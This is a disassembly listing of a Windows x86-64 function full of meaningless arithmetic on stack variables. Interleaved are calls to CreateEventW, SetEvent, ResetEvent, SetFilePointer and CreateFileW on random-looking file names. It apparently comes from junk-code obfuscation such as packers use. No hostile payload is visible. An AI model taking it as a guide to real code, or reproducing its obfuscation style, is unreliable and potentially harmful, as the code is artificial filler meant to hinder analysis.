movsx eax, byte [rsp + 0xea]
movsx ecx, byte [rsp + 0x927]
add eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0x2b68]
mov rcx, qword [rsp + 0x3bd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x31f0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2710]
mov dword [0x1400fd9b8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5980], rax
movzx eax, word [rsp + 0x6d4]
mov word [rsp + 0x1de8], ax
movsx eax, word [rsp + 0x1630]
movsx ecx, word [rsp + 0x15ec]
sub eax, ecx
mov word [rsp + 0xc0c], ax
movzx eax, word [rsp + 0x550]
mov word [rsp + 0x356c], ax
mov rax, qword [rsp + 0x31f8]
mov rcx, qword [rsp + 0x1308]
mov qword [rsp + 0x5110], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5110]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa70], rax
mov rax, qword [rsp + 0x32e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcc0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2720], eax
mov rax, qword [rsp + 0x2250]
mov rax, qword [rax]
add rax, qword [rsp + 0x4220]
mov qword [rsp + 0x39c0], rax
mov rax, qword [rsp + 0x3bd8]
movsx eax, byte [rax]
mov rcx, qword [0x1400fd910]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1f58]
mov byte [rcx], al
mov rax, qword [rsp + 0x3ab0]
movzx eax, word [rax]
mov word [rsp + 0x1620], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x306c
mov rcx, qword [rsp + 0x5118]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcfc], eax
mov rax, qword [rsp + 0x3200]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xec8]
and eax, ecx
mov word [0x1400fc500], ax
mov rax, qword [rsp + 0x3208]
mov rcx, qword [0x1400fd1e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2dd0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x15f0]
movzx ecx, word [rsp + 0x160]
add eax, ecx
mov word [rsp + 0x1e30], ax
movzx eax, byte [rsp + 0x92b]
mov rcx, qword [rsp + 0xd20]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0x39c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2714], eax
movzx eax, byte [rsp + 0x92d]
mov byte [rsp + 0x1d4c], al
mov rax, qword [rsp + 0x2530]
mov rcx, qword [rsp + 0x470]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3be0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x217c]
mov rcx, qword [0x1400fd6d8]
mov qword [rsp + 0x5120], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5120]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3414], eax
mov rax, qword [rsp + 0x2660]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5e0]
sub eax, ecx
mov word [rsp + 0x3a8], ax
lea rax, [rsp + 0xc08]
mov qword [0x1400fd9c0], rax
mov rax, qword [rsp + 0x22f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3210]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x14d0], rax
mov rax, qword [rsp + 0x3be8]
mov qword [rsp + 0x5988], rax
movsx eax, word [rsp + 0x6d0]
movsx ecx, word [0x1400fd3b8]
sub eax, ecx
mov word [rsp + 0x168], ax
movzx eax, word [rsp + 0x15f4]
mov word [rsp + 0x1dd0], ax
mov rax, qword [rsp + 0x2ad8]
movzx ecx, al
mov rax, qword [rsp + 0x3218]
shr rax, cl
mov rcx, qword [rsp + 0xfd0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x3cf0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1ba0]
mov rcx, qword [0x1400fd1f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb98], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x97ce
mov rcx, qword [rsp + 0x17b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4270], eax
movsx eax, byte [rsp + 0x2ca]
movsx ecx, byte [rsp + 0x3f3]
and eax, ecx
mov byte [rsp + 0x92e], al
mov rax, qword [rsp + 0x1838]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3388]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3ce8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x164]
movsx ecx, word [rsp + 0xc04]
sub eax, ecx
mov word [0x1400fc5d0], ax
mov rax, qword [rsp + 0xfc8]
movzx eax, word [rax]
mov word [rsp + 0x164c], ax
mov rax, qword [rsp + 0x5128]
mov ecx, dword [rsp + 0x1a90]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x2ae0]
mov dword [rcx], eax
lea rax, [rsp + 0x137]
mov qword [rsp + 0x51e0], rax
mov rax, qword [rsp + 0xd50]
mov rcx, qword [rsp + 0x3a20]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x1f80], rax
mov rax, qword [rsp + 0x2ae8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ba]
xor eax, ecx
mov byte [rsp + 0x2d2], al
mov rax, qword [rsp + 0x2af0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x838]
shl rax, cl
mov qword [rsp + 0x3c70], rax
mov rax, qword [rsp + 0x17a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x13b4]
shr eax, cl
mov dword [rsp + 0x13b8], eax
mov rcx, qword [rsp + 0x39d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x3410], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x915c
mov rcx, qword [rsp + 0x1310]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2180], eax
mov rax, qword [0x1400fd3f8]
movzx eax, word [rax]
mov word [rsp + 0x3568], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5250], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xad4f
mov rcx, qword [rsp + 0x3ce0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10c8], eax
mov rax, qword [rsp + 0x1530]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x31c]
sub eax, ecx
mov rcx, qword [0x1400fd8f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5130]
mov rax, qword [rax]
add rax, qword [rsp + 0x1a08]
mov qword [rsp + 0x39d8], rax
mov rax, qword [0x1400fd7f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x160c]
and eax, ecx
mov word [rsp + 0x1e2c], ax
mov rcx, qword [rsp + 0x39e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x426c], eax
movzx eax, word [rsp + 0x3ac]
mov word [rsp + 0x1e14], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x2a31
mov rcx, qword [rsp + 0x1b98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10cc], eax
mov rcx, qword [rsp + 0x3cd0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 1
xor r8d, r8d
mov edx, 0x6ab1
mov rcx, qword [rsp + 0x5138]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4268], eax
mov rcx, qword [rsp + 0x1b90]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8a2e
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1198], eax
mov rax, qword [rsp + 0x4138]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b70]
add rax, qword [rcx]
mov qword [rsp + 0x2538], rax
lea rax, [rsp + 0x10fc]
mov qword [rsp + 0x5990], rax
movsx eax, byte [rsp + 0x2d1]
mov rcx, qword [rsp + 0x5140]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2d0], al
mov rax, qword [0x1400fd5c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1b88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d18], rax
mov rax, qword [rsp + 0x1f60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb60]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1624], ax
mov rcx, qword [rsp + 0x3ca0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4264], eax
mov rax, qword [rsp + 0x5148]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3240]
or rcx, rax
mov rax, rcx
mov qword [0x1400fd348], rax
movzx eax, byte [rsp + 0x108]
mov rcx, qword [rsp + 0x1b80]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1be], al
mov eax, dword [rsp + 0x7a0]
mov dword [rsp + 0x4260], eax
movsx eax, word [rsp + 0x4ec]
movsx ecx, word [rsp + 0x6cc]
shl eax, cl
mov word [rsp + 0xf0c], ax
mov rax, qword [0x1400fd388]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15f8]
sar eax, cl
mov word [rsp + 0x3b8], ax
mov rax, qword [rsp + 0x2d40]
mov rax, qword [rax]
add rax, qword [rsp + 0xfc0]
mov qword [rsp + 0x3c60], rax
mov rax, qword [rsp + 0x2540]
mov ecx, dword [rsp + 0x340c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3408], eax
mov rax, qword [rsp + 0x3cc8]
movzx eax, byte [rax]
mov byte [rsp + 0x1d4b], al
mov rax, qword [rsp + 0x3248]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7c]
add eax, ecx
mov word [rsp + 0xc00], ax
mov rax, qword [0x1400fd488]
movzx eax, word [rax]
mov word [0x1400fd9c8], ax
mov rax, qword [rsp + 0xc78]
mov qword [rsp + 0x5998], rax
mov rax, qword [rsp + 0x9b0]
mov rcx, qword [rsp + 0x3220]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3cc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1b78]
mov rcx, qword [0x1400fd6c0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2d08], rax
movsx eax, word [rsp + 0xecc]
mov rcx, qword [rsp + 0x2de8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1e28], ax
mov rax, qword [rsp + 0x1b70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1f68]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3ed], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x3a0b
mov rcx, qword [rsp + 0x5150]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3404], eax
mov rax, qword [0x1400fd380]
mov rax, qword [rax]
mov qword [rsp + 0x59a0], rax
mov rax, qword [rsp + 0x2630]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x2b20]
add eax, dword [rcx]
mov rcx, qword [rsp + 0x3cb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3228]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2658]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x138], al
lea rax, [rsp + 0x2718]
mov qword [rsp + 0x53e0], rax
mov rax, qword [rsp + 0x1710]
movzx eax, word [rax]
mov word [0x1400fd9cc], ax
mov rcx, qword [rsp + 0x2af8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a6c], eax
mov rax, qword [rsp + 0x1318]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x89c]
and eax, ecx
mov rcx, qword [rsp + 0x2a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x1a20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x22f8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1e24], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.7Tinla9VXKkV_s3pqwv7En
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x59a8], rax
mov rax, qword [rsp + 0x2b00]
mov rcx, qword [rsp + 0x4198]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3230], rax
mov rcx, qword [rsp + 0x41b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a8c], eax
mov rax, qword [rsp + 0x22d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x25c0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1bb], al
mov rax, qword [rsp + 0x3c18]
mov rax, qword [rax]
mov qword [rsp + 0x59b0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe609
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe08], eax
mov eax, dword [rsp + 0xe04]
mov ecx, dword [rsp + 0x21ac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3238]
mov dword [rcx], eax
movzx eax, word [rsp + 0x110]
mov word [rsp + 0x3564], ax
movzx eax, word [rsp + 0x164c]
movzx ecx, word [rsp + 0x1dc]
sar eax, cl
mov word [rsp + 0xed0], ax
mov rax, qword [rsp + 0x5158]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5160]
add rax, qword [rcx]
mov qword [0x1400fd810], rax
movzx eax, word [rsp + 0xec]
movzx ecx, word [0x1400fd808]
and eax, ecx
mov word [rsp + 0x1e20], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x59b8], rax
mov rax, qword [rsp + 0x3cb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1830]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f70], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1f15
mov rcx, qword [rsp + 0x5168]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3400], eax
mov rax, qword [0x1400fd568]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x39e8], rax
lea rax, [rsp + 0x5170]
mov qword [rsp + 0x3c20], rax
mov rax, qword [rsp + 0x2d58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2db0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2b08]
mov byte [rcx], al
mov rax, qword [rsp + 0x2270]
movzx eax, byte [rax]
mov byte [rsp + 0x1d4a], al
mov rax, qword [0x1400fd138]
mov rcx, qword [rsp + 0x3a08]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1a88], eax
mov rax, qword [rsp + 0x2548]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd28]
mov qword [rsp + 0x5178], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5178]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x10d0], eax
mov rcx, qword [rsp + 0x17a0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x4e0]
movsx ecx, word [0x1400fc53c]
or eax, ecx
mov word [0x1400fc5d4], ax
movsx eax, word [rsp + 0x1e1c]
mov rcx, qword [rsp + 0x3a28]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1e18], ax
movzx eax, word [rsp + 0x150]
movzx ecx, word [rsp + 0x8a0]
sub eax, ecx
mov rcx, qword [rsp + 0x3268]
mov word [rcx], ax
lea rax, [rsp + 0x15fc]
mov qword [rsp + 0x59c0], rax
mov eax, dword [rsp + 0x634]
mov ecx, dword [rsp + 0x10d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2550]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a10]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1f78]
shr rax, cl
mov qword [rsp + 0x19f0], rax
movzx eax, byte [0x1400fd137]
mov byte [rsp + 0xde4], al
movsx eax, word [rsp + 0x1e14]
mov rcx, qword [rsp + 0x1798]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x270], ax
lea rax, [rsp + 0xbfc]
mov qword [rsp + 0x5300], rax
mov rax, qword [0x1400fd548]
mov rcx, qword [rsp + 0x2b10]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fd600], rax
mov rax, qword [rsp + 0x7d8]
mov rcx, qword [rsp + 0x1790]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3ca8], rax
mov rax, qword [0x1400fd1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3240], rax
mov rax, qword [rsp + 0xd30]
mov rcx, qword [rsp + 0x1188]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5180], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.cMEXho2Sw4dYBtQu8EQ_sTuu4go
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x59c8], rax
mov rax, qword [rsp + 0x2558]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13c]
sar eax, cl
mov rcx, qword [rsp + 0xb60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x139]
mov byte [rsp + 0x1d49], al
mov rax, qword [rsp + 0xdc0]
mov ecx, dword [rsp + 0x2184]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1a84], eax
mov rax, qword [rsp + 0x2d40]
mov rax, qword [rax]
mov qword [rsp + 0x59d0], rax
mov rax, qword [rsp + 0x1788]
mov rcx, qword [0x1400fd2c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x271c], eax
mov rax, qword [rsp + 0x10b0]
movzx eax, byte [rax]
mov byte [0x1400fd142], al
mov rax, qword [rsp + 0x3248]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbf8]
shl eax, cl
mov word [rsp + 0x6c8], ax
movsx eax, word [rsp + 0x258]
movsx ecx, word [rsp + 0x448]
add eax, ecx
mov word [rsp + 0x165c], ax
mov rcx, qword [rsp + 0x3ca0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xf70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1b68]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa98]
mov word [rcx], ax
lea rax, [rsp + 0x2b98]
mov qword [rsp + 0x52e8], rax
mov rax, qword [rsp + 0x2c80]
mov eax, dword [rax]
mov ecx, dword [0x1400fd318]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2188], eax
mov rax, qword [rsp + 0xd90]
mov rcx, qword [rsp + 0x3c98]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x19b8]
mov qword [rcx], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x59d8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x3b5c
mov rcx, qword [rsp + 0x5188]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13bc], eax
movsx eax, word [rsp + 0xf00]
movsx ecx, word [rsp + 0x8a4]
sar eax, cl
mov word [rsp + 0xee0], ax
mov rax, qword [rsp + 0x1148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4e4]
and eax, ecx
mov word [0x1400fc4b8], ax
mov rax, qword [rsp + 0x2dd8]
mov rax, qword [rax]
mov qword [rsp + 0x59e0], rax
movzx eax, word [0x1400fd6b8]
movzx ecx, word [rsp + 0x8a8]
add eax, ecx
mov word [rsp + 0x1600], ax
mov rax, qword [rsp + 0x1dc0]
mov ecx, dword [rsp + 0xcdc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x10e0], eax
mov rcx, qword [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x425c], eax
movzx eax, byte [rsp + 0x928]
mov rcx, qword [rsp + 0x1828]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0xde7], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x6b72
mov rcx, qword [rsp + 0x5190]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2780], eax
mov rax, qword [rsp + 0x2b20]
mov ecx, dword [rsp + 0x13c0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7a4], eax
mov rax, qword [rsp + 0x2b28]
movzx eax, byte [rax]
mov byte [rsp + 0x1d48], al
mov rax, qword [rsp + 0x2798]
mov rcx, qword [0x1400fd148]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3c20]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0x5218], rax
movzx eax, word [rsp + 0x34c]
mov rcx, qword [rsp + 0x3250]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1400fd938], ax
mov rax, qword [rsp + 0x2278]
movzx ecx, al
mov rax, qword [0x1400fd7f8]
shl rax, cl
mov qword [rsp + 0x1528], rax
mov rax, qword [rsp + 0x3258]
mov rcx, qword [rsp + 0x1f80]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x25e8], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x5589
mov rcx, qword [rsp + 0x5198]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4258], eax
movzx eax, word [rsp + 0x4e8]
mov word [rsp + 0x1648], ax
mov rax, qword [0x1400fd4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2a0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x254], ax
mov rax, qword [rsp + 0x2560]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x33fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x33f8], eax
movsx eax, byte [0x1400fd132]
movsx ecx, byte [rsp + 0x3ee]
sub eax, ecx
mov byte [rsp + 0x608], al
mov rax, qword [rsp + 0x51a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3c90]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xf78]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x3260]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 1
xor r8d, r8d
mov edx, 0x44a9
mov rcx, qword [rsp + 0x1f88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13c4], eax
lea rax, [rsp + 0x2b30]
mov qword [rsp + 0x59e8], rax
mov rcx, qword [rsp + 0x2568]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x4ec]
mov qword [0x1400fd9d0], rax
mov rax, qword [rsp + 0x4148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1f90]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3268]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.6Bw3H3kF4SIO4gCnwJVdgQVj
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x59f0], rax
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x1e91], al
mov eax, dword [0x1400fc384]
mov ecx, dword [rsp + 0x47c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x10ec], eax
mov rax, qword [rsp + 0x3c88]
mov rcx, qword [rsp + 0x3a30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2570], rax
mov rcx, qword [rsp + 0x3c80]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2578]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3330], rax
movsx eax, byte [str._aMl]
mov rcx, qword [rsp + 0x538]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3ef], al
mov rax, qword [rsp + 0x1080]
mov eax, dword [rax]
mov dword [rsp + 0x4254], eax
mov rax, qword [rsp + 0x51a8]
movsx eax, word [rax]
mov rcx, qword [0x1400fd538]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2bc], ax
movzx eax, word [rsp + 0x26c]
movzx ecx, word [rsp + 0x28c]
xor eax, ecx
mov rcx, qword [0x1400fd2d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x2c00]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3270]
sar rax, cl
mov qword [rsp + 0x2580], rax
movzx eax, word [0x1400fd884]
mov word [rsp + 0x1640], ax
mov rax, qword [rsp + 0x2310]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1710]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xef0], ax
mov eax, 0x38
imul rax, rax, 1
mov byte [rsp + rax + 0x5b91], 1
lea rax, [rsp + 0x2d78]
mov qword [rsp + 0x5268], rax
mov rax, qword [0x1400fd358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2720]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3c78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x608]
and eax, ecx
mov byte [rsp + 0xde6], al
mov rax, qword [rsp + 0x2b38]
mov rcx, qword [rsp + 0x3c70]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x818], rax
mov rax, qword [rsp + 0xb30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1604]
and eax, ecx
mov word [rsp + 0x4f0], ax
lea rax, [rsp + 0x1088]
mov qword [0x1400fd9d8], rax
mov eax, dword [rsp + 0xe00]
mov dword [rsp + 0x33e8], eax
movzx eax, byte [rsp + 0x58]
mov rcx, qword [rsp + 0x3c68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x609], al
mov rax, qword [rsp + 0x1b60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1e10], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa443
mov rcx, qword [rsp + 0x3278]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2754], eax
mov rax, qword [rsp + 0x3390]
movzx eax, word [rax]
movzx ecx, word [0x1400fd5a0]
sub eax, ecx
mov word [rsp + 0xbf4], ax
mov rax, qword [rsp + 0x1780]
mov rcx, qword [rsp + 0x3c60]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2588]
mov qword [rcx], rax
lea rax, [rsp + 0xde5]
mov qword [rsp + 0x59f8], rax
mov eax, dword [0x1400fc49c]
mov rcx, qword [rsp + 0x3280]
mov qword [rsp + 0x51b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x51b0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8d8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5a00], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xb2ac
mov rcx, qword [rsp + 0x3288]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x218c], eax
mov rcx, qword [rsp + 0x51b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x277c], eax
movzx eax, word [rsp + 0x6c4]
mov word [rsp + 0x1ddc], ax
movzx eax, word [rsp + 0x5e4]
mov rcx, qword [rsp + 0x1a20]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1400fd7e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x39f0]
mov rcx, qword [0x1400fd588]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x2590]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.5uic3wEkYgBEKqOi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5a08], rax
mov rcx, qword [rsp + 0x39f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2724], eax
mov rax, qword [rsp + 0x3a00]
movzx ecx, al
